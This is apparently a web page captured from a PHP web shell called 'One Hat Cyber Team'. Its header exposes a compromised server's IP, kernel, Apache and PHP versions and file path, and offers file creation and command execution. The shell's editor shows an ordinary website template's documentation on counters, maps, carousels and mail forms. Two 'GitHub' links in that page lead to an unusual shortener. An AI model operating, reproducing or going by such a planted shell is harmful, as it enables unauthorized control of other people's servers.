One Hat Cyber Team
Your IP :
172.71.120.56
Server IP :
188.114.96.7
Server :
Linux advantage-project 5.14.0-503.26.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 19 16:28:19 UTC 2025 x86_64
Server Software :
Apache/2.4.62 (Rocky Linux) OpenSSL/3.2.2
PHP Version :
8.3.17
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
var
/
www
/
html
/
theme
/
documentation
/
Edit File:
extensions.html
<!DOCTYPE html> <html class="wide wow-animation" lang="en"> <head> <!-- Site Title--> <title>Documentation</title> <meta name="format-detection" content="telephone=no"> <meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="utf-8"> <!-- Stylesheets--> <link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Work+Sans:300,700,800%7COswald:300,400,500"> <link rel="icon" href="images/favicon.ico" type="image/x-icon"> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/bootstrap.css"> <link rel="stylesheet" href="css/style.css"> <!--[if lt IE 10]> <div style="background: #212121; padding: 10px 0; box-shadow: 3px 3px 5px 0 rgba(0,0,0,.3); clear: both; text-align:center; position: relative; z-index:1;"><a href="http://windows.microsoft.com/en-US/internet-explorer/"><img src="images/ie8-panel/warning_bar_0000_us.jpg" border="0" height="42" width="820" alt="You are using an outdated browser. For a faster, safer browsing experience, upgrade for free today."></a></div> <script src="js/html5shiv.min.js"></script> <![endif]--> </head> <body> <div class="preloader"> <div class="preloader-logo"><img src="../images/logo-default-117x50.svg" alt="" width="117" height="50"/> </div> <div class="preloader-body"> <div id="loadingProgressG"> <div class="loadingProgressG" id="loadingProgressG_1"></div> </div> </div> </div> <!-- Page--> <div class="page"> <header class="page-header bg-gray-lighter section-xs"> <div class="shell"> <div class="range range-xs-justify range-middle"> <div class="cell-xs-4"> <div class="brand-logo"><img src="../images/logo-default-117x50.svg" alt="" width="117" height="50"/> </div> </div> <div class="cell-xs-4 text-sm-right"> <h6>Documentation</h6> </div> </div> </div> </header> <section class="main-section bg-white section-lg"> <div class="shell"> <div class="range range-md-justify"> <div class="cell-sm-4 cell-md-3" style="position:relative;"> <!-- Navigation--> <!-- RD Navbar--> <div class="rd-navbar-wrap"> <nav class="rd-navbar" data-layout="rd-navbar-fixed" data-sm-layout="rd-navbar-sidebar" data-sm-device-layout="rd-navbar-sidebar" data-md-device-layout="rd-navbar-sidebar" data-md-layout="rd-navbar-sidebar" data-lg-layout="rd-navbar-sidebar" data-lg-device-layout="rd-navbar-sidebar" data-sm-auto-height="false" data-md-auto-height="false" data-lg-auto-height="false"> <!-- RD Navbar Toggle --> <button class="rd-navbar-sidebar-toggle" data-rd-navbar-toggle=".rd-navbar-sidebar-inner"><span></span></button> <div class="rd-navbar-sidebar-inner"> <div class="rd-navbar-inner"> <!-- RD Navbar Panel--> <div class="rd-navbar-panel"> <!-- RD Navbar Toggle --> <button class="rd-navbar-toggle" data-rd-navbar-toggle=".rd-navbar-nav-wrap"><span></span></button> </div> <div class="rd-navbar-aside-right"> <div class="rd-navbar-nav-wrap"> <!-- RD Navbar Nav--> <ul class="rd-navbar-nav"> <li><a class="heading-5" href="index.html">Preparation</a> <!-- RD Navbar Dropdown--> <ul class="rd-navbar-dropdown"> <li><a href="#template-structure">Template Structure</a></li> <li><a href="#template-customization">Template Customization</a></li> <li><a href="#source">Source</a></li> <li><a href="#customization">Customization</a></li> <li><a href="#components">Components</a></li> <li><a href="#modules">Modules</a></li> <li><a href="#credits">Credits</a></li> </ul> </li> <li class="active opened"><a class="heading-5" href="extensions.html">Extensions</a> <!-- RD Navbar Dropdown--> <ul class="rd-navbar-dropdown"> <li><a href="#campaign-monitor">Campaign monitor</a></li> <li><a href="#counter">Counter</a></li> <li><a href="#countdown">Countdown</a></li> <li><a href="#google-map">Google Map</a></li> <li><a href="#lightgallery">LightGallery</a></li> <li><a href="#mailchimp">Mailchimp</a></li> <li><a href="#owl-carousel">Owl Carousel</a></li> <li><a href="#progress-bar">Progress Bar</a></li> <li><a href="#rd-mailform">RD MailForm</a></li> <li><a href="#rd-navbar">RD Navbar</a></li> <li><a href="#rd-search">RD Search</a></li> <li><a href="#swiper-slider">Swiper Slider</a></li> </ul> </li> </ul> </div> </div> </div> </div> </nav> </div> </div> <div class="cell-sm-8"> <div class="main-section-inner"> <div class="main-section-item" id="features" data-type="anchor"> <div class="main-title"> <h2><span class="fa fa-files-o"></span> Extensions </h2> </div> </div> <!--include ../sections/_bootstrap-accordions--> <!--include ../sections/_bootstrap-tabs--> <div class="main-section-item" id="campaign-monitor" data-type="anchor"> <div class="main-title"> <h3>Campaign Monitor</h3> </div> <div class="box"> <div class="box-content"> <p>To connect the subscription form to your Campaign Monitor account, you need to go to the Lists page (1), create a list (2) or select an existing one (3).</p><a class="gallery-item" data-lightgallery="item" href="images/campain.jpg"><img src="images/campain.jpg" alt=""/></a> <h6>Go to the “Sign up forms” section.</h6><a class="gallery-item" data-lightgallery="item" href="images/campain-1.jpg"><img src="images/campain-1.jpg" alt=""/></a> <h6>Then select the “Copy/paste a form to your site” section.</h6><a class="gallery-item" data-lightgallery="item" href="images/campain-2.jpg"><img src="images/campain-2.jpg" alt=""/></a> <h6>Afterward, generate the form code.</h6><a class="gallery-item" data-lightgallery="item" href="images/campain-3.jpg"><img src="images/campain-3.jpg" alt=""/></a> <p>Finally, copy the <mark>action</mark> attribute of the form you generated and paste it into the form of your website. <br> Here’s an example of the form code: </p> <pre class="prettyprint linenums"><form action="http://templatemonster1.createsend.com/t/d/s/xlyhhk/" class="rd-form campaign-mailform rd-mailform-inline" data-form-output="form-output-global" method="post"> <div class="form-wrap"> <label class="form-label" for="campaign-email">Enter your e-mail</label> <input class="form-input" id="campaign-email" type="email" name="cm-xlyhhk-xlyhhk" required="" data-constraints="@Email @Required"> </div> <div class="form-button"> <button class="button button-primary" type="submit">Subscribe</button> </div> </form></pre> </div> </div> </div> <div class="main-section-item" id="counter" data-type="anchor"> <div class="main-title"> <h3>Counter</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/counter.jpg"><img src="images/counter.jpg" alt=""/></a> <p>HTML Website Templates use <b>αCounter.js</b> extension to add counters to webpage.</p> <h4>Creating new counter</h4> <p>In order to create new counter the following HTML code should be added to page content:</p> <pre class="prettyprint linenums"><div class="counter">25</div></pre> <p>where <b>"25"</b> is your value for the counter</p> <h4>Counter working time correction</h4> <p>In order to change speed of counting you should add <b>data-duration</b> attribute and set time interval to the end of counting, in milliseconds.</p> <p>For example,</p> <pre class="prettyprint linenums"><div class="counter" data-duration="5000">125</div></pre> <h4>Counter update interval</h4> <p>in order to change time interval between counter updates you should add <b>data-refresh</b> attribute and set needed time interval in milliseconds.</p> <p>For example,</p> <pre class="prettyprint linenums"><div class="counter" data-duration="5000" data-refresh="300">3000</div></pre> </div> </div> </div> <div class="main-section-item" id="countdown" data-type="anchor"> <div class="main-title"> <h3>Countdown - Timer</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/countdown.jpg"><img src="images/countdown.jpg" alt=""/></a> <p>HTML Website Templates use <b>Countdown.js</b> extension to implement functionality for timer with circle progress bar.</p> <p> ProgressCircle is a plugin for radial progress bar. Countdown is a plugin for time count. </p> <h4>Inserting timer to page </h4> <p>In order to implement countdown timer to target HTML page you should use the following code structure(without circle progress bar):</p> <pre class="prettyprint linenums"><div class="countdown" data-to="2020-12-31"> <div class="countdown-block countdown-block-days"> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-days="">00</div> <div class="countdown-title">days</div> </div> </div> <div class="countdown-block countdown-block-hours"> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-hours="">00</div> <div class="countdown-title">hours</div> </div> </div> <div class="countdown-block countdown-block-minutes"> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-minutes="">00</div> <div class="countdown-title">minutes</div> </div> </div> <div class="countdown-block countdown-block-seconds"> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-seconds="">00</div> <div class="countdown-title">seconds</div> </div> </div> </div> </pre> <p>or with circle progress bar:</p> <pre class="prettyprint linenums"><div class="countdown" data-to="2020-12-31"> <div class="countdown-block countdown-block-days"> <svg class="countdown-circle" x="0" y="0" width="200" height="200" viewbox="0 0 200 200" data-progress-days=""> <circle class="countdown-circle-bg" cx="100" cy="100" r="90"></circle> <circle class="countdown-circle-fg clipped" cx="100" cy="100" r="90"></circle> </svg> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-days="">00</div> <div class="countdown-title">days</div> </div> </div> <div class="countdown-block countdown-block-hours"> <svg class="countdown-circle" x="0" y="0" width="200" height="200" viewbox="0 0 200 200" data-progress-hours=""> <circle class="countdown-circle-bg" cx="100" cy="100" r="90"></circle> <circle class="countdown-circle-fg clipped" cx="100" cy="100" r="90"></circle> </svg> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-hours="">00</div> <div class="countdown-title">hours</div> </div> </div> <div class="countdown-block countdown-block-minutes"> <svg class="countdown-circle" x="0" y="0" width="200" height="200" viewbox="0 0 200 200" data-progress-minutes=""> <circle class="countdown-circle-bg" cx="100" cy="100" r="90"></circle> <circle class="countdown-circle-fg clipped" cx="100" cy="100" r="90"></circle> </svg> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-minutes="">00</div> <div class="countdown-title">minutes</div> </div> </div> <div class="countdown-block countdown-block-seconds"> <svg class="countdown-circle" x="0" y="0" width="200" height="200" viewbox="0 0 200 200" data-progress-seconds=""> <circle class="countdown-circle-bg" cx="100" cy="100" r="90"></circle> <circle class="countdown-circle-fg clipped" cx="100" cy="100" r="90"></circle> </svg> <div class="countdown-wrap"> <div class="countdown-counter" data-counter-seconds="">00</div> <div class="countdown-title">seconds</div> </div> </div> </div></pre> <p>Data-date attribute defines counting start(<b>data-from</b>) or end(<b>data-to</b>) date in the following format: <b>"yyyy-mm-dd hh:mm:ss"</b></p> <p>For example,</p> <pre class="prettyprint linenums"><div class="countdown" data-countdown="data-countdown" data-to="2021-10-01 00:00:00"> <!-- Countdown markup--> </div></pre> <p>Countdown will take place till <b>00:00 October 01, 2021</b>.</p> <p>All available plugin parameters can be viewed in their <a href="https://oxayaza.page.link/gitHub_aCounters">GitHub</a> repository.</p> </div> </div> </div> <div class="main-section-item" id="google-map" data-type="anchor"> <div class="main-title"> <h3>Google Maps</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/google-map.jpg"><img src="images/google-map.jpg" alt=""/></a> <p>The plugin supports the following settings:</p> <ul class="marked-list"> <li>Google API key setup for the map;</li> <li>Changing the map scale;</li> <li>Modifying the map’s center according to an address or coordinates;</li> <li>Setting the map style;</li> <li>Adding markers to the map.</li> </ul> <h4>Google API key setup for the map</h4> <p>Without a key, your map will work in demo mode. You can find a guide on getting the key on<a href="https://developers.google.com/maps/documentation/javascript/get-api-key">developers.google.com</a></p> <p>Insert the received key into<b> data-key </b>attribute:</p> <pre class="prettyprint linenums"><!-- Google Map--> ... <div class="google-map-container" data-key="YOUR_API_KEY"> <div class="google-map"> </div> </div> ... </pre> <h4>How to change the map center coordinates</h4> <p>To replace the map center coordinates with the necessary ones, you need:</p> <pre class="prettyprint linenums"><!-- Google Map--> ... <div class="google-map-container"> <div class="google-map"> </div> </div> ...</pre> <p>to replace a required address in<b> data-center </b> attribute in .html file with a map in the section. As a result, you will get the following code:</p> <pre class="prettyprint linenums"><!-- Google Map--> <div class="google-map-container" data-center="9870 St Vincent Place, Glasgow, DC 45 Fr 45."> <div class="google-map"> </div> </div></pre> <h4>How to add a marker to the map</h4> <p>To add your marker to the map, you need to add ito the list:</p> <pre class="prettyprint linenums"><!-- Google Map--> ... <ul class="google-map-markers> ... </ul> ...</pre> <p>new position with<b> data-location </b> attribute in .html file with the map. As a result, you will get:</p> <pre class="prettyprint linenums"><!-- Google Map--> ... <ul class="google-map-markers> <li data-location="9870 St Vincent Place, Glasgow, DC 45 Fr 45."> </li> </ul> ...</pre> <h4>Adding a description to the marker</h4> <p>To add a popup window to a user marker, you need to specify content for the window in<b> data-description </b>attribute:</p> <pre class="prettyprint linenums"><!-- Google Map--> ... <li data-location="9870 St Vincent Place, Glasgow, DC 45 Fr 45." data-description="9870 St Vincent Place, Glasgow"> </li> ...</pre> <h4>How to replace the map style</h4> <p>The map supports lots of styling variants. You can get different ready-made styling variations on the website:<a href="https://snazzymaps.com/">https://snazzymaps.com/.</a></p> <p>On the given website you need to copy the style array of a map you prefer and insert it into<b> data-styles </b>attribute of a corresponding map on a target *.html page:</p> <pre class="prettyprint linenums"><!-- Google Map--> <div class="google-map-container" data-styles='Your Map Styles'> ... </div></pre> </div> </div> </div> <!--include ../sections/_isotope--> <div class="main-section-item" id="lightgallery" data-type="anchor"> <div class="main-title"> <h3>LightGallery</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/lightgallery.jpg"><img src="images/lightgallery.jpg" alt=""/></a> <p>We use LightGallery plugin in our templates to implement functional mobile-friendly galleries.</p> <p>This script supports galleries with:</p> <ul class="list-marked"> <li>Thumbnails</li> <li>YouTube/Vimeo/HTML5 video</li> <li>iframe</li> <li>Photo captions</li> <li>HTML markup</li> <li>Social network sharing</li> <li>Custom CSS3 animation</li> </ul> </div> </div> <div class="box"> <div class="box-title"> <h5>Creating a modal window for a single image</h5> </div> <div class="box-content"> <p>To insert a modal window with a certain image, you need to paste a link with data-lightgallery="item" and href attributes. In the latter, specify a link to the full-size image.</p> <p>You can also use an alternative variant: add div with data-lightgallery="item" and data-src="path/to/image.jpg" attributes</p> <pre class="prettyprint linenums"><a data-lightgallery="item" href="path/to/image.jpg"> <img class="img-responsive" src="path/to/image.jpg"> </a></pre> </div> </div> <div class="box"> <div class="box-title"> <h5>Creating a gallery of multiple images</h5> </div> <div class="box-content"> <p>To paste a gallery from multiple images, use data-lightgallery="group" attribute for a parent element of a proper group, which includes separate images.</p> <pre class="prettyprint linenums"><div data-lightgallery="group"> <a data-lightgallery="item" href="path/to/image.jpg"> <img class="img-responsive" src="path/to/image.jpg"> </a> <a data-lightgallery="item" href="path/to/image.jpg"> <img class="img-responsive" src="path/to/image.jpg"> </a> </div> </pre> </div> </div> <div class="box"> <div class="box-title"> <h5>Adding a thumbnail to the gallery made of multiple images</h5> </div> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/lightGallery-1.jpg"><img src="images/lightGallery-1.jpg" alt=""/></a> <p>Open script.js file and add thumbnail: true setting in the section with lightGallery script initialization.</p><a href="http://sachinchoolur.github.io/lightGallery/demos/index.html">See more information in the official documentation.</a> </div> </div> <div class="box"> <div class="box-title"> <h5>Changing the photo transition</h5> </div> <div class="box-content"> <p>Open script.js file and add mode: "animation name" setting in the section with lightGallery script initialization, for example: lg-zoom-in-out</p><a href="http://sachinchoolur.github.io/lightGallery/demos/transitions.html">Types of available transitions</a> </div> </div> <div class="box"> <div class="box-title"> <h5>Creating a gallery from multiple videos</h5> </div> <div class="box-content"> <p>To create a video gallery, insert the video link into its href attribute.</p> <pre class="prettyprint linenums"><div data-lightgallery="group"> <a data-lightgallery="item" href="https://www.youtube.com/watch?v=meBbDqAXago"> <img class="img-responsive" src="path/to/image.jpg"> </a> <a data-lightgallery="item" href="https://vimeo.com/1084537"> <img class="img-responsive" src="path/to/image.jpg"> </a> </div></pre><a href="http://sachinchoolur.github.io/lightGallery/demos/videos.html">See more information in the official documentation.</a> </div> </div> <div class="box"> <div class="box-title"> <h5>Adding a social sharing button</h5> </div> <div class="box-content"> <p>Open script.js file and add <mark>share: true</mark> setting in the section with lightGallery script initialization. </p><a class="gallery-item" data-lightgallery="item" href="images/lightGallery-2.jpg"><img src="images/lightGallery-2.jpg" alt=""/></a> </div> </div> <div class="box"> <div class="box-title"> <h5>Adding Facebook commentaries</h5> </div> <div class="box-content"><a href="http://sachinchoolur.github.io/lightGallery/demos/comment-box.html">See the detailed instruction on the developers’ website.</a><a class="gallery-item" data-lightgallery="item" href="images/lightGallery-3.jpg"><img src="images/lightGallery-3.jpg" alt=""/></a> </div> </div> </div> <div class="main-sction-item" id="mailchimp" data-type="anchor"> <div class="main-title"> <h3>MailChimp</h3> </div> <div class="box"> <div class="box-content"> <p>To connect the subscription form to your MailChimp account, you need to create a list or select an existing one (see No. 1) and go to “Signup forms” section (No. 2).</p><a class="gallery-item" data-lightgallery="item" href="images/mailchimp.jpg"><img src="images/mailchimp.jpg" alt=""/></a> <h6>Select “General forms”.</h6><a class="gallery-item" data-lightgallery="item" href="images/mailchimp-2.jpg"><img src="images/mailchimp-2.jpg" alt=""/></a> <h6>Copy the link from “Signup form URL” field and enter it in the address field of your browser.</h6><a class="gallery-item" data-lightgallery="item" href="images/mailchimp-3.jpg"><img src="images/mailchimp-3.jpg" alt=""/></a> <h6>You will be redirected to another page, where you need to copy the URL:</h6><a class="gallery-item" data-lightgallery="item" href="images/mailchimp-4.jpg"><img src="images/mailchimp-4.jpg" alt=""/></a> <p>You need to add <mark>post</mark> to this link after the word <mark>subscribe</mark> for the link to look like </p> <pre class="prettyprint linenums">https://********.***.list-manage.com/subscribe/post?u=*******************&id=*********</pre> <h6>Paste this link into action attribute of the subscription form, see the example below:</h6> <pre class="prettyprint linenums"><form class="rd-form rd-form-inline mailchimp-mailform" data-form-output="form-output-global" action="https://templatemonster.us15.list-manage.com/subscribe/post?u=ba5bb362073a413f48e4a7b90&id=8dc95d9dec" method="post"> <div class="form-wrap"> <label class="form-label" for="inline-email">Enter your e-mail</label> <input class="form-input" id="inline-email" type="email" name="email" data-constraints="@Email @Required"> </div> <button class="button button-primary" type="submit">Subscribe</button> </form></pre> <h6>Done!</h6> </div> </div> </div> <div class="main-section-item" id="owl-carousel" data-type="anchor"> <div class="main-title"> <h3>Owl Carousel - Carousel</h3> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/owl-carousel.jpg"><img src="images/owl-carousel.jpg" alt=""/></a> <p>HTML Website Templates use <b>Owl-carousel.js</b> extension for carousel functionality implementing to template pages with extended data-API for interaction.</p> <p>Сarousel only requires a container<b> .owl-carousel </b>:</p> <pre class="prettyprint linenums"><!-- Owl Carousel --> <div class="owl-carousel"> </div></pre> <p>All elements of the carousel are located one after another inside the container. For exapmle images:</p> <pre class="prettyprint linenums"><!-- Owl Carousel --> <div class="owl-carousel"> <img src="path/to/image"> <img src="path/to/image"> <img src="path/to/image"> </div></pre> <p>or any markup:</p> <pre class="prettyprint linenums"><!-- Owl Carousel --> <div class="owl-carousel"> <div class="your-element"> ... </div> <div class="your-element"> ... </div> <div class="your-element"> ... </div> </div></pre> <h4>Carousel loop configuration</h4> <p>In order to enable carousel loop you should use <b>data-loop</b> data attribute (true/false, by default is set to true) for target item with <b>.owl-carousel</b> class.</p> <p>For example,</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-loop="false"> ... </div></pre> <h4>Carousel autoplay configuration</h4> <p>HTML Website templates Owl Carousel has autoplay disabled by default. In order to enable this feature you should use <b>data-autoplay</b> data attribute with value set to ‘true’.</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-autoplay="true"> ... </div></pre> <h4>Carousel items display configuration</h4> <p>Owl carousel allows to display one or couple of items at once. In order to manage carousel items display you should use corresponding data attributes <b>data-items</b> and <b>data-*-items</b>.</p> <ul class="list-marked"> <li><b>data-items=”N”</b> - shows N carousel items by default (default value = 1). </li> <li><b>data-items=”N”</b> - shows N carousel items, starting from XS screen dimensions. </li> <li><b>data-sm-items=”N”</b> - shows N carousel items, starting from SM screen dimensions. </li> <li><b>data-md-items=”N”</b> - shows N carousel items, starting from MD screen dimensions. </li> <li><b>data-lg-items=”N”</b> - shows N carousel items, starting from LG screen dimensions. </li> <li><b>data-xl-items=”N”</b> - shows N carousel items, starting from xl screen dimensions. </li> <li><b>data-xxl-items=”N”</b> - shows N carousel items, starting from xxl screen dimensions. </li> </ul> <p>For example,</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-items="2" data-sm-items="3" data-lg-items="4"> ... </div></pre> <p>This example shows that by default there will appear 2 carousel items, for xs, sm and md dimensions - 3 items, for lg dimensions - 4 items.</p> <h4>Carousel navigation setup</h4> <p>In order to display “Previous”/”Next” navigation in Owl Carousel you should use corresponding <b>data-nav=”true”</b> data attribute for target carousel.</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-dots="true"> ... </div></pre> <p>In order to define pagination dots display step you should use <b>data-dots-each=”N”</b> data attribute.</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-dots="true" data-dots-each="1"> ... </div></pre> <h4>Carousel scene padding configuration</h4> <p>In order to define carousel scene padding you should use <b>data-*-stage-padding=”N”</b> data attribute.</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-stage-padding="30"> ... </div></pre> <h4>Carousel items padding configuration</h4> <p>In order to define carousel items padding you should use <b>data-*-margin=”N”</b> data attribute (by default = 30).</p> <pre class="prettyprint linenums"><div class="owl-carousel" data-margin="15"> ... </div></pre> </div> </div> </div> <div id="progress-bar" data-type="anchor"> <div class="main-title"> <h4>Progress Bar - horizontal progress bars</h4> </div> <div class="box"> <div class="box-content"><a class="gallery-item" data-lightgallery="item" href="images/progress-bar.jpg"><img src="images/progress-bar.jpg" alt=""/></a> <p>HTML Website Templates use <b>αCounter.js</b> extension to implement horizontal progress bar functionality.</p> <p>Base HTML code structure for progress bar creating appears as follows:</p> <pre class="prettyprint linenums"><div class="progress-linear"> <div class="progress-linear-header"> <div class="progress-linear-title">Progress Title 1</div> <div class="progress-linear-counter">75</div> </div> <div class="progress-linear-body"> <div class="progress-linear-bar"></div> </div> </div> </pre> <p>, where</p> <ul class="list-marked"> <li><b>.progress-linear</b> - progress bar container </li> <li><b>progress-linear-counter</b> - progress bar counter class, </li> <li><b>progress-linear-bar</b> - progress bar itself </li> </ul> <p>Text from the <b>.progress-linear-counter</b> element is used as a value for calculation ("75" in the example).</p> <p>All available plugin parameters can be viewed in their <a href="https://oxayaza.page.link/gitHub_aCounters">GitHub</a> repository.</p> </div> </div> </div> <!--include ../sections/_progress-circle--> <div class="main-section-item" id="rd-mailform" data-type="anchor"> <div class="main-title"> <h3>RD Mail Form. Mail form.</h3> </div> <div class="box"> <a class="gallery-item" data-lightgallery="item" href="images/rd-mailform.jpg"><img src="images/rd-mailform.jpg" alt=""/></a> <div class="box-content"> <p>HTML Website Templates use <b>RD Mail Form</b> extension to implement mail form functionality. Basic form code structure is similar to the one below:</p> <pre class="prettyprint linenums"><!-- RD Mailform--> <form class="rd-mailform" data-form-output="form-output-global" data-form-type="contact" method="post" action="bat/rd-mailform.php"> <div class="form-wrap"> <label for="contact-name" class="form-label">Name</label> <input id="contact-name" type="text" name="name" data-constraints="@Required" class="form-control"/> </div> <div class="form-wrap"> <label for="contact-phone" class="form-label>Phone</label> <input id="contact-phone" type="text" name="phone" data-constraints="@Required" class="form-control"/> </div> <div class="form-wrap"> <label for="contact-email" class="form-label">E-Mail</label> <input id="contact-email" type="email" name="email" data-constraints="@Email @Required" class="form-control"/> </div> <div class="form-wrap"> <label for="contact-message" class="form-label">Message</label> <textarea id="contact-message" name="message" data-constraints="@Required" class="form-control"></textarea> </div> <div class="form-wrap form-wrap-recaptcha"> <div class="recaptcha" id="captcha1" data-sitekey="6LfZlSETAAAAAC5VW4R4tQP8Am_to4bM3dddxkEt" ></div> </div> <button type="submit" class="button button-primary">Send</button> </form> <div id="form-output-global"></div> </pre> <h4>Form mode configuration </h4> <p>RD Mailform allows to use mail form in three modes:</p> <ul class="list-marked"> <li><b>Contact form</b> - contact; </li> <li><b>Booking form</b> - order; </li> <li><b>Newsletter form</b> - subscribe; </li> </ul> <p>In order to change form working mode you should add hidden form-type field to target form HTML code, where respectable form mode is set as a value.</p> <pre class="prettyprint linenums"><!-- RD Mailform --> <form class='rd-mailform' method="post" action="bat/rd-mailform.php"> <!-- RD Mailform Type --> <input type="hidden" data-form-type="contact" value="contact"/> <!-- END RD Mailform Type --> </form> <!-- END RD Mailform --> </pre> <h4>Mail configuration for messages delivery</h4> <p>Form sends messages to specific email address, defined in <b>bat/rd-mailform.php</b> file in <b>$recipients</b> variable. You may set any number of email addresses, separated by space here.</p> <pre class="prettyprint linenums">$recipients = "test@demolink.com test2@demolink.com" </pre> <h4>Form fields configuration</h4> <p>Mail form RD Mailform allows you to use the following field types:</p> <ul> <li> <h6>Text field</h6> <pre class="prettyprint linenums"><input type="text" name="name" data-constraints="@NotEmpty" placeholder="Name:"/></pre> </li> <li> <h6>Date selector</h6> <pre class="prettyprint linenums"><div class="form-group" > <input type="date" data-constraints="@Date" name="date" placeholder="Date:" class="form-control"/> </div></pre> </li> <li> <h6>Text area</h6> <pre class="prettyprint linenums"><textarea type="text" name="message" data-constraints="@NotEmpty" placeholder="Message:"></textarea></pre> </li> </ul> <h4>Form fields validation setup</h4> <p>Mail form <b>RD Mailform</b> supports form fields dynamic validation. You should add data-constraints data attribute to target field HTML code in order to implement this validation for target form.</p> <p>There are following validation types available:</p> <ul class="list-marked"> <li><b>@LettersOnly</b> - field’s value should be set to letters only; </li> <li><b>@NumbersOnly</b> - field’s value should be set to numbers only; </li> <li><b>@NotEmpty</b> - field must be filled in; </li> <li><b>@Email</b> - field’s value should be set to email address; </li> <li><b>@Phone</b> - field’s value should be set to phone number in the international format; </li> <li><b>@Date</b> - field’s value should be set to date in MM / DD / YYYY format; </li> <li><b>@SelectRequired</b> - at least one of menu options must be selected. </li> </ul> <p>For instance,</p> <pre class="prettyprint linenums"><div class="form-group" > <label data-add-placeholder for="mailform-input-textarea"> Message </label> <textarea name="message" id="mailform-input-textarea" data-constraints="@NotEmpty"></textarea> </div></pre> <h4>Form informing messages configuration</h4> <p>Mail form <b>RD Mailform</b> allows you to set custom informing messages, such as fields validation error messages or messages on successful/unsuccessful form submitting.</p> <pre class="prettyprint linenums">if (plugins.rdMailForm.length) { var i, j, k, msg = { 'MF000': 'Successfully sent!', 'MF001': 'Recipients are not set!', 'MF002': 'Form will not work locally!', 'MF003': 'Please, define email field in your form!', 'MF004': 'Please, define type of your form!', 'MF254': 'Something went wrong with PHPMailer!', 'MF255': 'Aw, snap! Something went wrong.' }; for (i = 0; i < plugins.rdMailForm.length; i++) { var $form = $(plugins.rdMailForm[i]), formHasCaptcha = false; $form.attr('novalidate', 'novalidate').ajaxForm({ data: { "form-type": $form.attr("data-form-type") || "contact", "counter": i }, beforeSubmit: function (arr, $form, options) { if (isNoviBuilder) return; var form = $(plugins.rdMailForm[this.extraData.counter]), inputs = form.find("[data-constraints]"), output = $("#" + form.attr("data-form-output")), captcha = form.find('.recaptcha'), captchaFlag = true; output.removeClass("active error success"); if (isValidated(inputs, captcha)) { // veify reCaptcha if(captcha.length) { var captchaToken = captcha.find('.g-recaptcha-response').val(), captchaMsg = { 'CPT001': 'Please, setup you "site key" and "secret key" of reCaptcha', 'CPT002': 'Something wrong with google reCaptcha' } formHasCaptcha = true; $.ajax({ method: "POST", url: "bat/reCaptcha.php", data: {'g-recaptcha-response': captchaToken}, async: false }) .done(function (responceCode) { if (responceCode != 'CPT000') { if (output.hasClass("snackbars")) { output.html(' <p> <span class="icon text-middle mdi mdi-check icon-xxs"> </span> <span>' + captchaMsg[responceCode] + ' </span> </p>') setTimeout(function () { output.removeClass("active"); }, 3500); captchaFlag = false; } else { output.html(captchaMsg[responceCode]); } output.addClass("active"); } }); } if(!captchaFlag) { return false; } form.addClass('form-in-process'); if (output.hasClass("snackbars")) { output.html(' <p> <span class="icon text-middle fa fa-circle-o-notch fa-spin icon-xxs"> </span> <span>Sending </span> </p>'); output.addClass("active"); } } else { return false; } }, error: function (result) { if (isNoviBuilder) return; var output = $("#" + $(plugins.rdMailForm[this.extraData.counter]).attr("data-form-output")), form = $(plugins.rdMailForm[this.extraData.counter]); output.text(msg[result]); form.removeClass('form-in-process'); if(formHasCaptcha) { grecaptcha.reset(); } }, success: function (result) { if (isNoviBuilder) return; var form = $(plugins.rdMailForm[this.extraData.counter]), output = $("#" + form.attr("data-form-output")); form .addClass('success') .removeClass('form-in-process'); if(formHasCaptcha) { grecaptcha.reset(); } result = result.length === 5 ? result : 'MF255'; output.text(msg[result]); if (result === "MF000") { if (output.hasClass("snackbars")) { output.html(' <p> <span class="icon text-middle mdi mdi-check icon-xxs"> </span> <span>' + msg[result] + ' </span> </p>'); } else { output.addClass("active success"); } } else { if (output.hasClass("snackbars")) { output.html(' <p class="snackbars-left"> <span class="icon icon-xxs mdi mdi-alert-outline text-middle"> </span> <span>' + msg[result] + ' </span> </p>'); } else { output.addClass("active error"); } } form.clearForm(); form.find('input, textarea').blur(); setTimeout(function () { output.removeClass("active error success"); form.removeClass('success'); }, 3500); } }); } } </pre> <h4>SMTP server configuration</h4> <p>SMTP server setting does not relate to <b>RD Mailform</b> form settings at all.</p> <p>In order to send your site messages via SMTP-server you'll need to refer to official PhpMailer (library, used in form) documentation or check this tutorial from official documentation.</p> <ul class="list-marked"> <li><a href="http://phpmailer.worxware.com/?pg=examplebsmtp">http://phpmailer.worxware.com/?pg=examplebsmtp</a></li> </ul> <p class="alert alert-warning">Please, note: mail form extension does not work locally. You should upload site to corresponding hosting server in order to send emails.</p> <h4>Configuring spam and abuse protection</h4> <p><b>RD Mailform</b> uses <b>Google reCAPTCHA</b> for spam protection.</p> <p class="alert alert-warning">Pay attention: in order to disable Google reCAPTCHA, just delete a section of html code, wrapped in comments "<!--Google captcha-->" - "<!-- End google captcha-->".</p> <h6>Getting Started with Google ReCaptcha</h6> <p>To manage Google 